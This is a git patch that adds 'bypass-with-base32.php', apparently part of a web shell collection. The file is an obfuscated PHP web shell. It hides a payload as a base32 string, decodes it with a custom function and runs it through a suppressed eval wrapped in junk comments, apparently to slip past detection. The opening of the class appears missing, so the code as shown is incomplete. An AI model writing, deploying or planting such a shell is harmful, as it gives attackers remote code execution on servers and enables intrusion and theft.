From b59b949389ae8807dbf94e57de83e06a2cccae96 Mon Sep 17 00:00:00 2001 From: tennc <670357+tennc@users.noreply.github.com> Date: Mon, 4 Jan 2021 21:50:18 +0800 Subject: [PATCH] Create bypass-with-base32.php --- php/bypass-with-base32.php | 69 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 69 insertions(+) create mode 100644 php/bypass-with-base32.php diff --git a/php/bypass-with-base32.php b/php/bypass-with-base32.php new file mode 100644 index 0000000..b22b5a8 --- /dev/null +++ b/php/bypass-with-base32.php @@ -0,0 +1,69 @@ +a = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy'; + + + + $this->LGZOJH = @base32_decode($this->a); + @eval/*sopupi3240-=*/("/*iSAC[FH*/".$this->LGZOJH."/*iSAC[FH*/"); + }}} +new ZQIH(); + +function base32_encode($input) { + $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567'; + $output = ''; + $v = 0; + $vbits = 0; + + for ($i = 0, $j = strlen($input); $i < $j; $i++) { + $v <<= 8; + $v += ord($input[$i]); + $vbits += 8; + + while ($vbits >= 5) { + $vbits -= 5; + $output .= $BASE32_ALPHABET[$v >> $vbits]; + $v &= ((1 << $vbits) - 1); + } + } + + if ($vbits > 0) { + $v <<= (5 - $vbits); + $output .= $BASE32_ALPHABET[$v]; + } + + return $output; +} + +function base32_decode($input) { + $output = ''; + $v = 0; + $vbits = 0; + + for ($i = 0, $j = strlen($input); $i < $j; $i++) { + $v <<= 5; + if ($input[$i] >= 'a' && $input[$i] <= 'z') { + $v += (ord($input[$i]) - 97); + } elseif ($input[$i] >= '2' && $input[$i] <= '7') { + $v += (24 + $input[$i]); + } else { + exit(1); + } + + $vbits += 5; + while ($vbits >= 8) { + $vbits -= 8; + $output .= chr($v >> $vbits); + $v &= ((1 << $vbits) - 1); + } + } + return $output; +} +?>